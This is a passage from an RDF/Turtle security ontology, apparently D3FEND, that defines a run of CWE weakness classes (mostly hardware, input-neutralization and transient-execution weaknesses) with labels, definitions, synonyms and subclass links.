    d3f:definition "The product's hardware-enforced access control for a particular resource improperly accounts for privilege discrepancies between control and write policies." ;
    rdfs:subClassOf d3f:CWE-284 .

d3f:CWE-1269 a owl:Class ;
    rdfs:label "Product Released in Non-Release Configuration" ;
    d3f:cwe-id "CWE-1269" ;
    d3f:definition "The product released to market is released in pre-production or manufacturing configuration." ;
    rdfs:subClassOf d3f:CWE-693 .

d3f:CWE-127 a owl:Class ;
    rdfs:label "Buffer Under-read" ;
    d3f:cwe-id "CWE-127" ;
    d3f:definition "The product reads from a buffer using buffer access mechanisms such as indexes or pointers that reference memory locations prior to the targeted buffer." ;
    rdfs:subClassOf d3f:CWE-125,
        d3f:CWE-786 .

d3f:CWE-1270 a owl:Class ;
    rdfs:label "Generation of Incorrect Security Tokens" ;
    d3f:cwe-id "CWE-1270" ;
    d3f:definition "The product implements a Security Token mechanism to differentiate what actions are allowed or disallowed when a transaction originates from an entity. However, the Security Tokens generated in the system are incorrect." ;
    rdfs:subClassOf d3f:CWE-284 .

d3f:CWE-1271 a owl:Class ;
    rdfs:label "Uninitialized Value on Reset for Registers Holding Security Settings" ;
    d3f:cwe-id "CWE-1271" ;
    d3f:definition "Security-critical logic is not set to a known value on reset." ;
    rdfs:subClassOf d3f:CWE-909 .

d3f:CWE-1272 a owl:Class ;
    rdfs:label "Sensitive Information Uncleared Before Debug/Power State Transition" ;
    d3f:cwe-id "CWE-1272" ;
    d3f:definition "The product performs a power or debug state transition, but it does not clear sensitive information that should no longer be accessible due to changes to information access restrictions." ;
    rdfs:subClassOf d3f:CWE-226 .

d3f:CWE-1273 a owl:Class ;
    rdfs:label "Device Unlock Credential Sharing" ;
    d3f:cwe-id "CWE-1273" ;
    d3f:definition "The credentials necessary for unlocking a device are shared across multiple parties and may expose sensitive information." ;
    rdfs:subClassOf d3f:CWE-200 .

d3f:CWE-1274 a owl:Class ;
    rdfs:label "Improper Access Control for Volatile Memory Containing Boot Code" ;
    d3f:cwe-id "CWE-1274" ;
    d3f:definition "The product conducts a secure-boot process that transfers bootloader code from Non-Volatile Memory (NVM) into Volatile Memory (VM), but it does not have sufficient access control or other protections for the Volatile Memory." ;
    rdfs:subClassOf d3f:CWE-284 .

d3f:CWE-1275 a owl:Class ;
    rdfs:label "Sensitive Cookie with Improper SameSite Attribute" ;
    d3f:cwe-id "CWE-1275" ;
    d3f:definition "The SameSite attribute for sensitive cookies is not set, or an insecure value is used." ;
    rdfs:subClassOf d3f:CWE-923 .

d3f:CWE-1276 a owl:Class ;
    rdfs:label "Hardware Child Block Incorrectly Connected to Parent System" ;
    d3f:cwe-id "CWE-1276" ;
    d3f:definition "Signals between a hardware IP and the parent system design are incorrectly connected causing security risks." ;
    rdfs:subClassOf d3f:CWE-284 .

d3f:CWE-1277 a owl:Class ;
    rdfs:label "Firmware Not Updateable" ;
    d3f:cwe-id "CWE-1277" ;
    d3f:definition "The product does not provide its users with the ability to update or patch its firmware to address any vulnerabilities or weaknesses that may be present." ;
    rdfs:subClassOf d3f:CWE-1329 .

d3f:CWE-1278 a owl:Class ;
    rdfs:label "Missing Protection Against Hardware Reverse Engineering Using Integrated Circuit (IC) Imaging Techniques" ;
    d3f:cwe-id "CWE-1278" ;
    d3f:definition "Information stored in hardware may be recovered by an attacker with the capability to capture and analyze images of the integrated circuit using techniques such as scanning electron microscopy." ;
    rdfs:subClassOf d3f:CWE-693 .

d3f:CWE-1279 a owl:Class ;
    rdfs:label "Cryptographic Operations are run Before Supporting Units are Ready" ;
    d3f:cwe-id "CWE-1279" ;
    d3f:definition "Performing cryptographic operations without ensuring that the supporting inputs are ready to supply valid data may compromise the cryptographic result." ;
    rdfs:subClassOf d3f:CWE-665,
        d3f:CWE-696 .

d3f:CWE-128 a owl:Class ;
    rdfs:label "Wrap-around Error" ;
    d3f:cwe-id "CWE-128" ;
    d3f:definition "Wrap around errors occur whenever a value is incremented past the maximum value for its type and therefore \"wraps around\" to a very small, negative, or undefined value." ;
    rdfs:subClassOf d3f:CWE-682 .

d3f:CWE-1280 a owl:Class ;
    rdfs:label "Access Control Check Implemented After Asset is Accessed" ;
    d3f:cwe-id "CWE-1280" ;
    d3f:definition "A product's hardware-based access control check occurs after the asset has been accessed." ;
    rdfs:subClassOf d3f:CWE-284,
        d3f:CWE-696 .

d3f:CWE-1281 a owl:Class ;
    rdfs:label "Sequence of Processor Instructions Leads to Unexpected Behavior" ;
    d3f:cwe-id "CWE-1281" ;
    d3f:definition "Specific combinations of processor instructions lead to undesirable behavior such as locking the processor until a hard reset performed." ;
    rdfs:subClassOf d3f:CWE-691 .

d3f:CWE-1282 a owl:Class ;
    rdfs:label "Assumed-Immutable Data is Stored in Writable Memory" ;
    d3f:cwe-id "CWE-1282" ;
    d3f:definition "Immutable data, such as a first-stage bootloader, device identifiers, and \"write-once\" configuration settings are stored in writable memory that can be re-programmed or updated in the field." ;
    rdfs:subClassOf d3f:CWE-668 .

d3f:CWE-1283 a owl:Class ;
    rdfs:label "Mutable Attestation or Measurement Reporting Data" ;
    d3f:cwe-id "CWE-1283" ;
    d3f:definition "The register contents used for attestation or measurement reporting data to verify boot flow are modifiable by an adversary." ;
    rdfs:subClassOf d3f:CWE-284 .

d3f:CWE-1287 a owl:Class ;
    rdfs:label "Improper Validation of Specified Type of Input" ;
    d3f:cwe-id "CWE-1287" ;
    d3f:definition "The product receives input that is expected to be of a certain type, but it does not validate or incorrectly validates that the input is actually of the expected type." ;
    rdfs:subClassOf d3f:CWE-20 .

d3f:CWE-1288 a owl:Class ;
    rdfs:label "Improper Validation of Consistency within Input" ;
    d3f:cwe-id "CWE-1288" ;
    d3f:definition "The product receives a complex input with multiple elements or fields that must be consistent with each other, but it does not validate or incorrectly validates that the input is actually consistent." ;
    rdfs:subClassOf d3f:CWE-20 .

d3f:CWE-1289 a owl:Class ;
    rdfs:label "Improper Validation of Unsafe Equivalence in Input" ;
    d3f:cwe-id "CWE-1289" ;
    d3f:definition "The product receives an input value that is used as a resource identifier or other type of reference, but it does not validate or incorrectly validates that the input is equivalent to a potentially-unsafe value." ;
    rdfs:subClassOf d3f:CWE-20 .

d3f:CWE-129 a owl:Class ;
    rdfs:label "Improper Validation of Array Index" ;
    d3f:cwe-id "CWE-129" ;
    d3f:definition "The product uses untrusted input when calculating or using an array index, but the product does not validate or incorrectly validates the index to ensure the index references a valid position within the array." ;
    d3f:synonym "array index underflow",
        "index-out-of-range",
        "out-of-bounds array index" ;
    rdfs:subClassOf d3f:CWE-1285 .

d3f:CWE-1290 a owl:Class ;
    rdfs:label "Incorrect Decoding of Security Identifiers" ;
    d3f:cwe-id "CWE-1290" ;
    d3f:definition "The product implements a decoding mechanism to decode certain bus-transaction signals to security identifiers. If the decoding is implemented incorrectly, then untrusted agents can now gain unauthorized access to the asset." ;
    rdfs:subClassOf d3f:CWE-284 .

d3f:CWE-1291 a owl:Class ;
    rdfs:label "Public Key Re-Use for Signing both Debug and Production Code" ;
    d3f:cwe-id "CWE-1291" ;
    d3f:definition "The same public key is used for signing both debug and production code." ;
    rdfs:subClassOf d3f:CWE-693 .

d3f:CWE-1292 a owl:Class ;
    rdfs:label "Incorrect Conversion of Security Identifiers" ;
    d3f:cwe-id "CWE-1292" ;
    d3f:definition "The product implements a conversion mechanism to map certain bus-transaction signals to security identifiers. However, if the conversion is incorrectly implemented, untrusted agents can gain unauthorized access to the asset." ;
    rdfs:subClassOf d3f:CWE-284 .

d3f:CWE-1293 a owl:Class ;
    rdfs:label "Missing Source Correlation of Multiple Independent Data" ;
    d3f:cwe-id "CWE-1293" ;
    d3f:definition "The product relies on one source of data, preventing the ability to detect if an adversary has compromised a data source." ;
    rdfs:subClassOf d3f:CWE-345 .

d3f:CWE-1295 a owl:Class ;
    rdfs:label "Debug Messages Revealing Unnecessary Information" ;
    d3f:cwe-id "CWE-1295" ;
    d3f:definition "The product fails to adequately prevent the revealing of unnecessary and potentially sensitive system information within debugging messages." ;
    rdfs:subClassOf d3f:CWE-200 .

d3f:CWE-1296 a owl:Class ;
    rdfs:label "Incorrect Chaining or Granularity of Debug Components" ;
    d3f:cwe-id "CWE-1296" ;
    d3f:definition "The product's debug components contain incorrect chaining or granularity of debug components." ;
    rdfs:subClassOf d3f:CWE-284 .

d3f:CWE-1297 a owl:Class ;
    rdfs:label "Unprotected Confidential Information on Device is Accessible by OSAT Vendors" ;
    d3f:cwe-id "CWE-1297" ;
    d3f:definition "The product does not adequately protect confidential information on the device from being accessed by Outsourced Semiconductor Assembly and Test (OSAT) vendors." ;
    rdfs:subClassOf d3f:CWE-285 .

d3f:CWE-1298 a owl:Class ;
    rdfs:label "Hardware Logic Contains Race Conditions" ;
    d3f:cwe-id "CWE-1298" ;
    d3f:definition "A race condition in the hardware logic results in undermining security guarantees of the system." ;
    rdfs:subClassOf d3f:CWE-362 .

d3f:CWE-1299 a owl:Class ;
    rdfs:label "Missing Protection Mechanism for Alternate Hardware Interface" ;
    d3f:cwe-id "CWE-1299" ;
    d3f:definition "The lack of protections on alternate paths to access control-protected assets (such as unprotected shadow registers and other external facing unguarded interfaces) allows an attacker to bypass existing protections to the asset that are only performed against the primary path." ;
    rdfs:subClassOf d3f:CWE-288,
        d3f:CWE-420 .

d3f:CWE-13 a owl:Class ;
    rdfs:label "ASP.NET Misconfiguration: Password in Configuration File" ;
    d3f:cwe-id "CWE-13" ;
    d3f:definition "Storing a plaintext password in a configuration file allows anyone who can read the file access to the password-protected resource making them an easy target for attackers." ;
    rdfs:subClassOf d3f:CWE-260 .

d3f:CWE-130 a owl:Class ;
    rdfs:label "Improper Handling of Length Parameter Inconsistency" ;
    d3f:cwe-id "CWE-130" ;
    d3f:definition "The product parses a formatted message or structure, but it does not handle or incorrectly handles a length field that is inconsistent with the actual length of the associated data." ;
    d3f:synonym "length manipulation",
        "length tampering" ;
    rdfs:subClassOf d3f:CWE-240 .

d3f:CWE-1302 a owl:Class ;
    rdfs:label "Missing Security Identifier",
        "Missing Source Identifier in Entity Transactions on a System-On-Chip (SOC)" ;
    d3f:cwe-id "CWE-1302" ;
    d3f:definition "The product implements a security identifier mechanism to differentiate what actions are allowed or disallowed when a transaction originates from an entity. A transaction is sent without a security identifier." ;
    rdfs:subClassOf d3f:CWE-1294 .

d3f:CWE-1303 a owl:Class ;
    rdfs:label "Non-Transparent Sharing of Microarchitectural Resources" ;
    d3f:cwe-id "CWE-1303" ;
    d3f:definition "Hardware structures shared across execution contexts (e.g., caches and branch predictors) can violate the expected architecture isolation between contexts." ;
    rdfs:subClassOf d3f:CWE-1189,
        d3f:CWE-203 .

d3f:CWE-1304 a owl:Class ;
    rdfs:label "Improperly Preserved Integrity of Hardware Configuration State During a Power Save/Restore Operation" ;
    d3f:cwe-id "CWE-1304" ;
    d3f:definition "The product performs a power save/restore operation, but it does not ensure that the integrity of the configuration state is maintained and/or verified between the beginning and ending of the operation." ;
    rdfs:subClassOf d3f:CWE-284 .

d3f:CWE-1310 a owl:Class ;
    rdfs:label "Missing Ability to Patch ROM Code" ;
    d3f:cwe-id "CWE-1310" ;
    d3f:definition "Missing an ability to patch ROM code may leave a System or System-on-Chip (SoC) in a vulnerable state." ;
    rdfs:subClassOf d3f:CWE-1329 .

d3f:CWE-1311 a owl:Class ;
    rdfs:label "Improper Translation of Security Attributes by Fabric Bridge" ;
    d3f:cwe-id "CWE-1311" ;
    d3f:definition "The bridge incorrectly translates security attributes from either trusted to untrusted or from untrusted to trusted when converting from one fabric protocol to another." ;
    rdfs:subClassOf d3f:CWE-284 .

d3f:CWE-1312 a owl:Class ;
    rdfs:label "Missing Protection for Mirrored Regions in On-Chip Fabric Firewall" ;
    d3f:cwe-id "CWE-1312" ;
    d3f:definition "The firewall in an on-chip fabric protects the main addressed region, but it does not protect any mirrored memory or memory-mapped-IO (MMIO) regions." ;
    rdfs:subClassOf d3f:CWE-284 .

d3f:CWE-1313 a owl:Class ;
    rdfs:label "Hardware Allows Activation of Test or Debug Logic at Runtime" ;
    d3f:cwe-id "CWE-1313" ;
    d3f:definition "During runtime, the hardware allows for test or debug logic (feature) to be activated, which allows for changing the state of the hardware. This feature can alter the intended behavior of the system and allow for alteration and leakage of sensitive data by an adversary." ;
    rdfs:subClassOf d3f:CWE-284 .

d3f:CWE-1314 a owl:Class ;
    rdfs:label "Missing Write Protection for Parametric Data Values" ;
    d3f:cwe-id "CWE-1314" ;
    d3f:definition "The device does not write-protect the parametric data values for sensors that scale the sensor value, allowing untrusted software to manipulate the apparent result and potentially damage hardware or cause operational failure." ;
    rdfs:subClassOf d3f:CWE-862 .

d3f:CWE-1315 a owl:Class ;
    rdfs:label "Improper Setting of Bus Controlling Capability in Fabric End-point" ;
    d3f:cwe-id "CWE-1315" ;
    d3f:definition "The bus controller enables bits in the fabric end-point to allow responder devices to control transactions on the fabric." ;
    rdfs:subClassOf d3f:CWE-284 .

d3f:CWE-1316 a owl:Class ;
    rdfs:label "Fabric-Address Map Allows Programming of Unwarranted Overlaps of Protected and Unprotected Ranges" ;
    d3f:cwe-id "CWE-1316" ;
    d3f:definition "The address map of the on-chip fabric has protected and unprotected regions overlapping, allowing an attacker to bypass access control to the overlapping portion of the protected region." ;
    rdfs:subClassOf d3f:CWE-284 .

d3f:CWE-1317 a owl:Class ;
    rdfs:label "Improper Access Control in Fabric Bridge" ;
    d3f:cwe-id "CWE-1317" ;
    d3f:definition "The product uses a fabric bridge for transactions between two Intellectual Property (IP) blocks, but the bridge does not properly perform the expected privilege, identity, or other access control checks between those IP blocks." ;
    rdfs:subClassOf d3f:CWE-284 .

d3f:CWE-1318 a owl:Class ;
    rdfs:label "Missing Support for Security Features in On-chip Fabrics or Buses" ;
    d3f:cwe-id "CWE-1318" ;
    d3f:definition "On-chip fabrics or buses either do not support or are not configured to support privilege separation or other security features, such as access control." ;
    rdfs:subClassOf d3f:CWE-693 .

d3f:CWE-1319 a owl:Class ;
    rdfs:label "Improper Protection against Electromagnetic Fault Injection (EM-FI)" ;
    d3f:cwe-id "CWE-1319" ;
    d3f:definition "The device is susceptible to electromagnetic fault injection attacks, causing device internal information to be compromised or security mechanisms to be bypassed." ;
    rdfs:subClassOf d3f:CWE-693 .

d3f:CWE-1320 a owl:Class ;
    rdfs:label "Improper Protection for Outbound Error Messages and Alert Signals" ;
    d3f:cwe-id "CWE-1320" ;
    d3f:definition "Untrusted agents can disable alerts about signal conditions exceeding limits or the response mechanism that handles such alerts." ;
    rdfs:subClassOf d3f:CWE-284 .

d3f:CWE-1321 a owl:Class ;
    rdfs:label "Improperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution')" ;
    d3f:cwe-id "CWE-1321" ;
    d3f:definition "The product receives input from an upstream component that specifies attributes that are to be initialized or updated in an object, but it does not properly control modifications of attributes of the object prototype." ;
    rdfs:subClassOf d3f:CWE-915 .

d3f:CWE-1322 a owl:Class ;
    rdfs:label "Use of Blocking Code in Single-threaded, Non-blocking Context" ;
    d3f:cwe-id "CWE-1322" ;
    d3f:definition "The product uses a non-blocking model that relies on a single threaded process for features such as scalability, but it contains code that can block when it is invoked." ;
    rdfs:subClassOf d3f:CWE-834 .

d3f:CWE-1323 a owl:Class ;
    rdfs:label "Improper Management of Sensitive Trace Data" ;
    d3f:cwe-id "CWE-1323" ;
    d3f:definition "Trace data collected from several sources on the System-on-Chip (SoC) is stored in unprotected locations or transported to untrusted agents." ;
    rdfs:subClassOf d3f:CWE-284 .

d3f:CWE-1325 a owl:Class ;
    rdfs:label "Improperly Controlled Sequential Memory Allocation" ;
    d3f:cwe-id "CWE-1325" ;
    d3f:definition "The product manages a group of objects or resources and performs a separate memory allocation for each object, but it does not properly limit the total amount of memory that is consumed by all of the combined objects." ;
    d3f:synonym "Stack Exhaustion" ;
    rdfs:subClassOf d3f:CWE-770 .

d3f:CWE-1326 a owl:Class ;
    rdfs:label "Missing Immutable Root of Trust in Hardware" ;
    d3f:cwe-id "CWE-1326" ;
    d3f:definition "A missing immutable root of trust in the hardware results in the ability to bypass secure boot or execute untrusted or adversarial boot code." ;
    rdfs:subClassOf d3f:CWE-693 .

d3f:CWE-1327 a owl:Class ;
    rdfs:label "Binding to an Unrestricted IP Address" ;
    d3f:cwe-id "CWE-1327" ;
    d3f:definition "The product assigns the address 0.0.0.0 for a database server, a cloud service/instance, or any computing resource that communicates remotely." ;
    rdfs:subClassOf d3f:CWE-668 .

d3f:CWE-1328 a owl:Class ;
    rdfs:label "Security Version Number Mutable to Older Versions" ;
    d3f:cwe-id "CWE-1328" ;
    d3f:definition "Security-version number in hardware is mutable, resulting in the ability to downgrade (roll-back) the boot firmware to vulnerable code versions." ;
    rdfs:subClassOf d3f:CWE-285 .

d3f:CWE-1330 a owl:Class ;
    rdfs:label "Remanent Data Readable after Memory Erase" ;
    d3f:cwe-id "CWE-1330" ;
    d3f:definition "Confidential information stored in memory circuits is readable or recoverable after being cleared or erased." ;
    rdfs:subClassOf d3f:CWE-1301 .

d3f:CWE-1331 a owl:Class ;
    rdfs:label "Improper Isolation of Shared Resources in Network On Chip (NoC)" ;
    d3f:cwe-id "CWE-1331" ;
    d3f:definition "The Network On Chip (NoC) does not isolate or incorrectly isolates its on-chip-fabric and internal resources such that they are shared between trusted and untrusted agents, creating timing channels." ;
    rdfs:subClassOf d3f:CWE-653,
        d3f:CWE-668 .

d3f:CWE-1332 a owl:Class ;
    rdfs:label "Improper Handling of Faults that Lead to Instruction Skips" ;
    d3f:cwe-id "CWE-1332" ;
    d3f:definition "The device is missing or incorrectly implements circuitry or sensors that detect and mitigate the skipping of security-critical CPU instructions when they occur." ;
    rdfs:subClassOf d3f:CWE-1384 .

d3f:CWE-1333 a owl:Class ;
    rdfs:label "Inefficient Regular Expression Complexity" ;
    d3f:cwe-id "CWE-1333" ;
    d3f:definition "The product uses a regular expression with an inefficient, possibly exponential worst-case computational complexity that consumes excessive CPU cycles." ;
    d3f:synonym "Catastrophic backtracking",
        "ReDoS",
        "Regular Expression Denial of Service" ;
    rdfs:subClassOf d3f:CWE-407 .

d3f:CWE-1334 a owl:Class ;
    rdfs:label "Unauthorized Error Injection Can Degrade Hardware Redundancy" ;
    d3f:cwe-id "CWE-1334" ;
    d3f:definition "An unauthorized agent can inject errors into a redundant block to deprive the system of redundancy or put the system in a degraded operating mode." ;
    rdfs:subClassOf d3f:CWE-284 .

d3f:CWE-1335 a owl:Class ;
    rdfs:label "Incorrect Bitwise Shift of Integer" ;
    d3f:cwe-id "CWE-1335" ;
    d3f:definition "An integer value is specified to be shifted by a negative amount or an amount greater than or equal to the number of bits contained in the value causing an unexpected or indeterminate result." ;
    rdfs:subClassOf d3f:CWE-682 .

d3f:CWE-1336 a owl:Class ;
    rdfs:label "Improper Neutralization of Special Elements Used in a Template Engine" ;
    d3f:cwe-id "CWE-1336" ;
    d3f:definition "The product uses a template engine to insert or process externally-influenced input, but it does not neutralize or incorrectly neutralizes special elements or syntax that can be interpreted as template expressions or other code directives when processed by the engine." ;
    d3f:synonym "Client-Side Template Injection / CSTI",
        "Server-Side Template Injection / SSTI" ;
    rdfs:subClassOf d3f:CWE-94 .

d3f:CWE-1338 a owl:Class ;
    rdfs:label "Improper Protections Against Hardware Overheating" ;
    d3f:cwe-id "CWE-1338" ;
    d3f:definition "A hardware device is missing or has inadequate protection features to prevent overheating." ;
    rdfs:subClassOf d3f:CWE-693 .

d3f:CWE-1339 a owl:Class ;
    rdfs:label "Insufficient Precision or Accuracy of a Real Number" ;
    d3f:cwe-id "CWE-1339" ;
    d3f:definition "The product processes a real number with an implementation in which the number's representation does not preserve required accuracy and precision in its fractional part, causing an incorrect result." ;
    rdfs:subClassOf d3f:CWE-682 .

d3f:CWE-134 a owl:Class ;
    rdfs:label "Use of Externally-Controlled Format String" ;
    d3f:cwe-id "CWE-134" ;
    d3f:definition "The product uses a function that accepts a format string as an argument, but the format string originates from an external source." ;
    rdfs:subClassOf d3f:CWE-668 .

d3f:CWE-1342 a owl:Class ;
    rdfs:label "Information Exposure through Microarchitectural State after Transient Execution" ;
    d3f:cwe-id "CWE-1342" ;
    d3f:definition "The processor does not properly clear microarchitectural state after incorrect microcode assists or speculative execution, resulting in transient execution." ;
    rdfs:subClassOf d3f:CWE-226 .

d3f:CWE-135 a owl:Class ;
    rdfs:label "Incorrect Calculation of Multi-Byte String Length" ;
    d3f:cwe-id "CWE-135" ;
    d3f:definition "The product does not correctly calculate the length of strings that can contain wide or multi-byte characters." ;
    rdfs:subClassOf d3f:CWE-682 .

d3f:CWE-1351 a owl:Class ;
    rdfs:label "Improper Handling of Hardware Behavior in Exceptionally Cold Environments" ;
    d3f:cwe-id "CWE-1351" ;
    d3f:definition "A hardware device, or the firmware running on it, is missing or has incorrect protection features to maintain goals of security primitives when the device is cooled below standard operating temperatures." ;
    rdfs:subClassOf d3f:CWE-1384 .

d3f:CWE-1385 a owl:Class ;
    rdfs:label "Missing Origin Validation in WebSockets" ;
    d3f:cwe-id "CWE-1385" ;
    d3f:definition "The product uses a WebSocket, but it does not properly verify that the source of data or communication is valid." ;
    d3f:synonym "Cross-Site WebSocket hijacking (CSWSH)" ;
    rdfs:subClassOf d3f:CWE-346 .

d3f:CWE-1386 a owl:Class ;
    rdfs:label "Insecure Operation on Windows Junction / Mount Point" ;
    d3f:cwe-id "CWE-1386" ;
    d3f:definition "The product opens a file or directory, but it does not properly prevent the name from being associated with a junction or mount point to a destination that is outside of the intended control sphere." ;
    rdfs:subClassOf d3f:CWE-59 .

d3f:CWE-1389 a owl:Class ;
    rdfs:label "Incorrect Parsing of Numbers with Different Radices" ;
    d3f:cwe-id "CWE-1389" ;
    d3f:definition "The product parses numeric input assuming base 10 (decimal) values, but it does not account for inputs that use a different base number (radix)." ;
    rdfs:subClassOf d3f:CWE-704 .

d3f:CWE-1393 a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Use of Default Password" ;
    d3f:cwe-id "CWE-1393" ;
    d3f:definition "The product uses default passwords for potentially critical functionality." ;
    d3f:weakness-of d3f:UserAccount ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:weakness-of ;
            owl:someValuesFrom d3f:UserAccount ],
        d3f:CWE-1392 .

d3f:CWE-1394 a owl:Class ;
    rdfs:label "Use of Default Cryptographic Key" ;
    d3f:cwe-id "CWE-1394" ;
    d3f:definition "The product uses a default cryptographic key for potentially critical functionality." ;
    rdfs:subClassOf d3f:CWE-1392 .

d3f:CWE-1395 a owl:Class ;
    rdfs:label "Dependency on Vulnerable Third-Party Component" ;
    d3f:cwe-id "CWE-1395" ;
    d3f:definition "The product has a dependency on a third-party component that contains one or more known vulnerabilities." ;
    rdfs:subClassOf d3f:CWE-657 .

d3f:CWE-14 a owl:Class ;
    rdfs:label "Compiler Removal of Code to Clear Buffers" ;
    d3f:cwe-id "CWE-14" ;
    d3f:definition "Sensitive memory is cleared according to the source code, but compiler optimizations leave the memory untouched when it is not read from again, aka \"dead store removal.\"" ;
    rdfs:subClassOf d3f:CWE-733 .

d3f:CWE-141 a owl:Class ;
    rdfs:label "Improper Neutralization of Parameter/Argument Delimiters" ;
    d3f:cwe-id "CWE-141" ;
    d3f:definition "The product receives input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could be interpreted as parameter or argument delimiters when they are sent to a downstream component." ;
    rdfs:subClassOf d3f:CWE-140 .

d3f:CWE-142 a owl:Class ;
    rdfs:label "Improper Neutralization of Value Delimiters" ;
    d3f:cwe-id "CWE-142" ;
    d3f:definition "The product receives input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could be interpreted as value delimiters when they are sent to a downstream component." ;
    rdfs:subClassOf d3f:CWE-140 .

d3f:CWE-1421 a owl:Class ;
    rdfs:label "Exposure of Sensitive Information in Shared Microarchitectural Structures during Transient Execution" ;
    d3f:cwe-id "CWE-1421" ;
    d3f:definition "A processor event may allow transient operations to access architecturally restricted data (for example, in another address space) in a shared microarchitectural structure (for example, a CPU cache), potentially exposing the data over a covert channel." ;
    rdfs:subClassOf d3f:CWE-1420 .

d3f:CWE-1422 a owl:Class ;
    rdfs:label "Exposure of Sensitive Information caused by Incorrect Data Forwarding during Transient Execution" ;
    d3f:cwe-id "CWE-1422" ;
    d3f:definition "A processor event or prediction may allow incorrect or stale data to be forwarded to transient operations, potentially exposing data over a covert channel." ;
    rdfs:subClassOf d3f:CWE-1420 .

d3f:CWE-1423 a owl:Class ;
    rdfs:label "Exposure of Sensitive Information caused by Shared Microarchitectural Predictor State that Influences Transient Execution" ;
    d3f:cwe-id "CWE-1423" ;
    d3f:definition "Shared microarchitectural predictor state may allow code to influence transient execution across a hardware boundary, potentially exposing data that is accessible beyond the boundary over a covert channel." ;
    rdfs:subClassOf d3f:CWE-1420 .

d3f:CWE-1426 a owl:Class ;
    rdfs:label "Improper Validation of Generative AI Output" ;
    d3f:cwe-id "CWE-1426" ;
    d3f:definition "The product invokes a generative AI/ML component whose behaviors and outputs cannot be directly controlled, but the product does not validate or insufficiently validates the outputs to ensure that they align with the intended security, content, or privacy policy." ;
    rdfs:subClassOf d3f:CWE-707 .

d3f:CWE-1427 a owl:Class ;
    rdfs:label "Improper Neutralization of Input Used for LLM Prompting" ;
    d3f:cwe-id "CWE-1427" ;
    d3f:definition "The product uses externally-provided data to build prompts provided to large language models (LLMs), but the way these prompts are constructed causes the LLM to fail to distinguish between user-supplied inputs and developer provided system directives." ;
    d3f:synonym "prompt injection" ;
    rdfs:subClassOf d3f:CWE-77 .

d3f:CWE-1428 a owl:Class ;
    rdfs:label "Reliance on HTTP instead of HTTPS" ;
    d3f:cwe-id "CWE-1428" ;
    d3f:definition "The product provides or relies on use of HTTP communications when HTTPS is available." ;
    rdfs:subClassOf d3f:CWE-319 .

d3f:CWE-1429 a owl:Class ;
    rdfs:label "Missing Security-Relevant Feedback for Unexecuted Operations in Hardware Interface" ;
    d3f:cwe-id "CWE-1429" ;
    d3f:definition "The product has a hardware interface that silently discards operations in situations for which feedback would be security-relevant, such as the timely detection of failures or attacks." ;
    rdfs:subClassOf d3f:CWE-223 .

d3f:CWE-143 a owl:Class ;
    rdfs:label "Improper Neutralization of Record Delimiters" ;
    d3f:cwe-id "CWE-143" ;
    d3f:definition "The product receives input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could be interpreted as record delimiters when they are sent to a downstream component." ;
    rdfs:subClassOf d3f:CWE-140 .

d3f:CWE-1431 a owl:Class ;
    rdfs:label "Driving Intermediate Cryptographic State/Results to Hardware Module Outputs" ;
    d3f:cwe-id "CWE-1431" ;
    d3f:definition "The product uses a hardware module implementing a cryptographic algorithm that writes sensitive information about the intermediate state or results of its cryptographic operations via one of its output wires (typically the output port containing the final result)." ;
    rdfs:subClassOf d3f:CWE-200 .

d3f:CWE-144 a owl:Class ;
    rdfs:label "Improper Neutralization of Line Delimiters" ;
    d3f:cwe-id "CWE-144" ;
    d3f:definition "The product receives input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could be interpreted as line delimiters when they are sent to a downstream component." ;
    rdfs:subClassOf d3f:CWE-140 .

d3f:CWE-145 a owl:Class ;
    rdfs:label "Improper Neutralization of Section Delimiters" ;
    d3f:cwe-id "CWE-145" ;
    d3f:definition "The product receives input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could be interpreted as section delimiters when they are sent to a downstream component." ;
    rdfs:subClassOf d3f:CWE-140 .

d3f:CWE-146 a owl:Class ;
    rdfs:label "Improper Neutralization of Expression/Command Delimiters" ;
    d3f:cwe-id "CWE-146" ;
    d3f:definition "The product receives input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could be interpreted as expression or command delimiters when they are sent to a downstream component." ;
    rdfs:subClassOf d3f:CWE-140 .

d3f:CWE-148 a owl:Class ;
    rdfs:label "Improper Neutralization of Input Leaders" ;
    d3f:cwe-id "CWE-148" ;
    d3f:definition "The product does not properly handle when a leading character or sequence (\"leader\") is missing or malformed, or if multiple leaders are used when only one should be allowed." ;
    rdfs:subClassOf d3f:CWE-138 .

d3f:CWE-149 a owl:Class ;
    rdfs:label "Improper Neutralization of Quoting Syntax" ;
    d3f:cwe-id "CWE-149" ;
    d3f:definition "Quotes injected into a product can be used to compromise a system. As data are parsed, an injected/absent/duplicate/malformed use of quotes may cause the process to take unexpected actions." ;
    rdfs:subClassOf d3f:CWE-138 .

d3f:CWE-15 a owl:Class ;
    rdfs:label "External Control of System or Configuration Setting" ;
    d3f:cwe-id "CWE-15" ;
    d3f:definition "One or more system settings or configuration elements can be externally controlled by a user." ;
    rdfs:subClassOf d3f:CWE-610,
        d3f:CWE-642 .

d3f:CWE-150 a owl:Class ;
    rdfs:label "Improper Neutralization of Escape, Meta, or Control Sequences" ;
    d3f:cwe-id "CWE-150" ;
    d3f:definition "The product receives input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could be interpreted as escape, meta, or control character sequences when they are sent to a downstream component." ;
    rdfs:subClassOf d3f:CWE-138 .

d3f:CWE-151 a owl:Class ;
    rdfs:label "Improper Neutralization of Comment Delimiters" ;
    d3f:cwe-id "CWE-151" ;
    d3f:definition "The product receives input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could be interpreted as comment delimiters when they are sent to a downstream component." ;
    rdfs:subClassOf d3f:CWE-138 .

d3f:CWE-152 a owl:Class ;
    rdfs:label "Improper Neutralization of Macro Symbols" ;
    d3f:cwe-id "CWE-152" ;
    d3f:definition "The product receives input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could be interpreted as macro symbols when they are sent to a downstream component." ;
    rdfs:subClassOf d3f:CWE-138 .

d3f:CWE-153 a owl:Class ;
    rdfs:label "Improper Neutralization of Substitution Characters" ;
    d3f:cwe-id "CWE-153" ;
